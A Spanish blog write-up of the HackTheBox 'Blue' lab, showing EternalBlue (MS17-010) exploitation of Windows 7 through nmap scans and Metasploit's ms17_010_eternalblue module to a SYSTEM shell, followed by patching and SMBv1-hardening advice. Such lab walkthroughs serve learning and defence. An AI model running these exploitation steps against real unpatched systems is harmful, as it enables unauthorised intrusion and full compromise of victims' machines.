Entrada

Blue

Windows 7 sin parchear contra MS17-010 (EternalBlue): SMBv1 vulnerable y SYSTEM directo, sin credenciales. El mismo fallo que propagó WannaCry en 2017.

Blue

Publicado por Jaime Hereza Niño

Publicado 31/07/2026 Actualizado 04/10/2026
3 min de lectura
Mi puntuación
69077 votos
MáquinaSODificultadIP
BlueWindowsEasy10.10.10.40

A tener en cuenta...

┌──(jaime㉿kali)-[~]└─$ sudo nano /etc/hosts
10.10.10.40 blue

Resumen

Blue es el EternalBlue de libro y, probablemente, la máquina más didáctica de HackTheBox: un Windows 7 sin el parche MS17-010, el mismo fallo de SMBv1 que en mayo de 2017 usó el ransomware WannaCry para paralizar hospitales y empresas en todo el mundo.

El recorrido es mínimo pero redondo: un escaneo, un script de Nmap que confirma la vulnerabilidad, y un exploit que corre dentro del kernel y te deja directamente en SYSTEM — sin credenciales y sin escalada. Perfecta para entender por qué un parche a tiempo lo cambia todo.

Vulnerabilidad

MS17-010 / EternalBlue — CVE-2017-0144 (Crítica · 8.1)

Es un fallo en SMBv1: el servidor gestiona mal ciertos paquetes Trans2 y se produce una corrupción de memoria que permite escribir en el kernel y ejecutar código con privilegios de SYSTEM, sin autenticación. Formaba parte del arsenal filtrado de la NSA (bajo el nombre EternalBlue) y fue el motor de propagación de WannaCry y NotPetya. Microsoft lo parcheó en marzo de 2017, dos meses antes del brote.

Reconocimiento

Empiezo por el mapa de puertos: un escaneo completo contra la víctima

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p- -n -Pn -sS --max-retries 1 -O -osscan-guess blue
PuertoServicioVersión
135msrpcMicrosoft Windows RPC
139netbios-ssnMicrosoft Windows netbios-ssn
445microsoft-dsWindows 7 Professional SMB

El clásico combo RPC + SMB, esta vez sobre un Windows 7 Professional. En cuanto veo SMB expuesto (puerto 445), el reflejo es lanzar los scripts de vulnerabilidades de Nmap — y en un Windows 7 de esta época, MS17-010 es la primera sospecha.

Enumeración

Nmap trae un script dedicado a comprobar justo este fallo

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p 445 --script smb-vuln-ms17-010 blue
| smb-vuln-ms17-010: | VULNERABLE: Remote Code Execution vulnerability in Microsoft SMBv1 (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143

Confirmado: MS17-010. Camino despejado hacia SYSTEM.

Explotación

El módulo de Metasploit es el camino más directo y fiable.

Paso 1 — configurar el exploit. Cargo el módulo de EternalBlue y le doy objetivo y mi interfaz de VPN

┌──(jaime㉿kali)-[~]└─$ msfconsole -q
msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 > set RHOSTS blue msf6 > set LHOST tun0 msf6 > run

Paso 2 — qué pasa por detrás. El exploit envía los paquetes SMBv1 manipulados, corrompe la memoria del kernel y planta el payload. Como la ejecución ocurre en el propio kernel, la sesión entra directamente como NT AUTHORITY\SYSTEM — sin pasar por ningún usuario intermedio.

Paso 3 — confirmar.

C:\Windows\system32> whoami nt authority\system

Si prefieres el camino manual, está AutoBlue-MS17-010: compilas el shellcode con tu IP y puerto, te pones en escucha con nc y lanzas el script. El resultado es el mismo, pero entender el exploit a pelo merece la pena.

Escalada de privilegios

No hay escalada, y esa es justo la gracia de EternalBlue: al ejecutarse en el kernel, el acceso inicial ya es SYSTEM. De víctima vulnerable a control total en un solo paso. Directos a las banderas.

Flags

La de usuario, en el escritorio de haris

C:\> type C:\Users\haris\Desktop\user.txt

Y la de root, en el de Administrator

C:\> type C:\Users\Administrator\Desktop\root.txt

Cómo se arregla

Todo se reduce a un parche que llevaba meses disponible. Por capas:

  • Aplicar MS17-010: Microsoft lo publicó en marzo de 2017, dos meses antes de WannaCry. Con Windows Update al día, el desastre no habría ocurrido.
  • Deshabilitar SMBv1: es un protocolo muerto; desactivarlo elimina EternalBlue y toda su familia de un plumazo.
  • No exponer SMB: segmentar la red y cortar 139/445 hacia el exterior.

Conclusiones

Blue es historia viva de la ciberseguridad: el fallo que paró hospitales y empresas enteras en 2017 sigue siendo el ejemplo perfecto de por qué un parche a tiempo lo cambia todo.

El patrón es idéntico al de Legacy: SMB sin parchear = SYSTEM sin credenciales. Parchear y matar SMBv1 son dos de las medidas más rentables que existen — mucho impacto, coste casi nulo.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.